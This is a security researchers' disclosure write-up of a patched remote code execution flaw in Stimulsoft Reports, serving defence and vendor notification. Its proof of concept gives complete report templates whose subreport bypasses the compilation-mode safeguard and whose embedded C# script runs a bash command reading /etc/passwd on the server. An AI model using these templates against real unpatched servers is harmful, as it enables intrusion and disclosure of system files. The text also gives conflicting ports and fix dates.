Writeup: Subreport Remote Code Execution in Stimulsoft Reports

17 April 2025

TL;DR

The Stimulsoft Reports library generates reports based on a template which can contain C# code. With the default configuration, the library has protective measures to not execute code included in the template. But by embedding a subreport in the template, the protection is bypassed and arbitrary code can be executed. This means the default configuration of Stimulsoft Reports is vulnerable to remote code execution.

The vulnerability is applicable to all Stimulsoft Reports distributions where .NET is used on the server. This vulnerability is fixed in Stimulsoft Reports 2025.2 released 2025-03-18. Earlier versions are vulnerable.

Background

Stimulsoft Reports is a suite of software libraries with the purpose of designing and generating reports in different formats such as PDF or Excel. The reports can be created with data from external sources such as databases or CSV files and can visualize data in tables or different types of charts.

The library can be used from multiple programming languages and execution contexts. This post specifically applies to the cases where .NET is processing the report template on the server.

Reports can be stored as templates that contains the layout and may reference data that can later be used when rendering the report. The report template contains components, which are the building blocks of a report. Components relevant to this vulnerability are text fields and subreports.

Every report also defines whether expressions should be evaluated using a Stimulsoft interpreter or a C# compiler. By default, reports are not allowed to be opened in the compilation mode, and shows the error below to the user. Error message when trying to open a Stimulsoft report using the compilation mode

However, it is possible to configure the render engine for Stimulsoft from the C# code using options as static variables with true or false values. The option StiOptions.Viewer.AllowOpenDocumentWithCompilation can be set to true if the compilation mode is desired.

If the option is enabled and the report template uses the compilation mode, a script section of the report, containing C# code can be executed. This is done by referencing a function from the code can in an expression in the report.

Proof of Concept

With the default settings (i.e. StiOptions.Viewer.AllowOpenDocumentWithCompilation set to false), it is possible to render a subreport using the compilation mode even though the main report is not allowed to be rendered using the compilation mode.

This can be showcased using the Stimulsoft sample Web Demo available on their Github repo, v2025.1.6.

1. Running the Demo Application

Run the sample using dotnet run from the Web Demo folder, a web server is started on https://localhost:5001.

2. Preparing the Payload

Add the two following files to an empty directory. The first file includes a subreport component which renders the second file, which uses the compilation calculation mode and executes C# code contained in the script section of the file.

report-with-subreport.mrt

  {
    "CalculationMode": "Interpretation",
    "Pages": {
      "0": {
        "Ident": "StiPage",
        "Components": {
          "0": {
                "Ident": "StiText",
                "ClientRectangle": "0,0,40,50",
                "Text": {
                  "Value": "Main report"
                },
              },
          "1": {
            "Ident": "StiSubReport",
            "ClientRectangle": "0,0,40,50",
            "SubReportUrl": "http://localhost:8000/report-with-code.mrt"
          }
        },
      }
    }
  }

report-with-code.mrt

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<StiSerializer version="1.02" type="Net" application="StiReport">
  <CalculationMode>Compilation</CalculationMode>
  <Pages isList="true" count="1">
    <Page1 Ref="4" type="Page" isKey="true">
      <Components isList="true" count="5">
        <Text0 Ref="10" type="Text" isKey="true">
          <CanGrow>True</CanGrow>
          <ClientRectangle>0,40,570,20</ClientRectangle>
          <Name>Text0</Name>
          <Text>{magicValue()}</Text>
          <TextOptions>,,,,WordWrap=True,A=0</TextOptions>
          <Type>Expression</Type>
        </Text0>
      </Components>
      <Name>Page1</Name>
      <PaperSize>A4</PaperSize>
      <Report isRef="0" />
    </Page1>
  </Pages>
  <ReferencedAssemblies isList="true" count="9">
    <value>System.Dll</value>
    <value>System.Drawing.Dll</value>
    <value>System.Windows.Forms.Dll</value>
    <value>System.Data.Dll</value>
    <value>System.Xml.Dll</value>
    <value>Stimulsoft.Base.Dll</value>
    <value>Stimulsoft.Controls.Dll</value>
    <value>Stimulsoft.Report.Dll</value>
    <value>System.Diagnostics.Process.dll</value>
  </ReferencedAssemblies>
  <ReportUnit>HundredthsOfInch</ReportUnit>
  <Script>using System;
using System.Drawing;
using System.Windows.Forms;
using System.Data;
using System.Collections;
using Stimulsoft.Controls;
using Stimulsoft.Base.Drawing;
using Stimulsoft.Report;
using Stimulsoft.Report.ReportControls;
using Stimulsoft.Report.Components;
using System.Diagnostics;

namespace Reports
{
    public class SimpleList : Stimulsoft.Report.StiReport
    {
      public SimpleList() {
          this.InitializeComponent();
      }
      
        public virtual String magicValue() {
          var s = "";
          s += DateTime.Now.ToString() + "\n";
          s += runCmd("cat /etc/passwd");
          return s;
        }

        public String runCmd(String cmd) {
          var psi = new ProcessStartInfo();
          psi.FileName = "/bin/bash";
          psi.Arguments = $"-c \"{cmd}\"";
          psi.RedirectStandardOutput = true;
          psi.UseShellExecute = false;
          psi.CreateNoWindow = true;
          using var process = Process.Start(psi);
          process.WaitForExit();
          var output = process.StandardOutput.ReadToEnd();
          return output;
        }

        #region StiReport Designer generated code - do not modify
        #endregion StiReport Designer generated code - do not modify
    }
}</Script>
  <ScriptLanguage>CSharp</ScriptLanguage>
</StiSerializer>

In the same directory, run the following command to start a web server hosting the files recently created.

$ python -m http.server -b 127.0.0.1 

3. Default Security Measures

Navigate to the Stimulsoft report web demo at https://localhost:5000 and use the open functionality, open the file report-with-code.mrt. Now, the warning below is shown and the code contained in the file is not executed if it opened in safe mode.

Error message when trying to open a Stimulsoft report using the compilation mode

4. Bypassing Security Measures

Use the open functionality again, and now open the report-with-subreport.mrt, which contains a subreport pointing to the local python web server with the file executing code. Now, no warnings are shown and the report below is rendered.

Report with remote code execution rendered

This shows that the command cat /etc/passwd was executed on the server and also shows that arbitrary remote code execution is possible.

Mitigation

Version 2025.2 contains a patch for the issue and adds a configuration property StiOptions.Engine.AllowOpenSubReportWithCompilation which defaults to false.

However, we strongly recommend completely disabling the calculation mode compilation if that feature is not used. This can be by setting the StiOptions.Engine.ForceInterpretationMode option to true.

Timeline

Date Action
2025-03-11 Vulnerability submitted to Vendor
2025-03-13 Vendor acknowledged the submission
2025-03-21 Vendor releases version 2025.2 containing a patch for the vulnerability
2025-04-17 Public disclosure of vulnerability through this writeup

Melker Veltman

Security Researcher

Miranda Aldrin

Security Researcher


More in this series: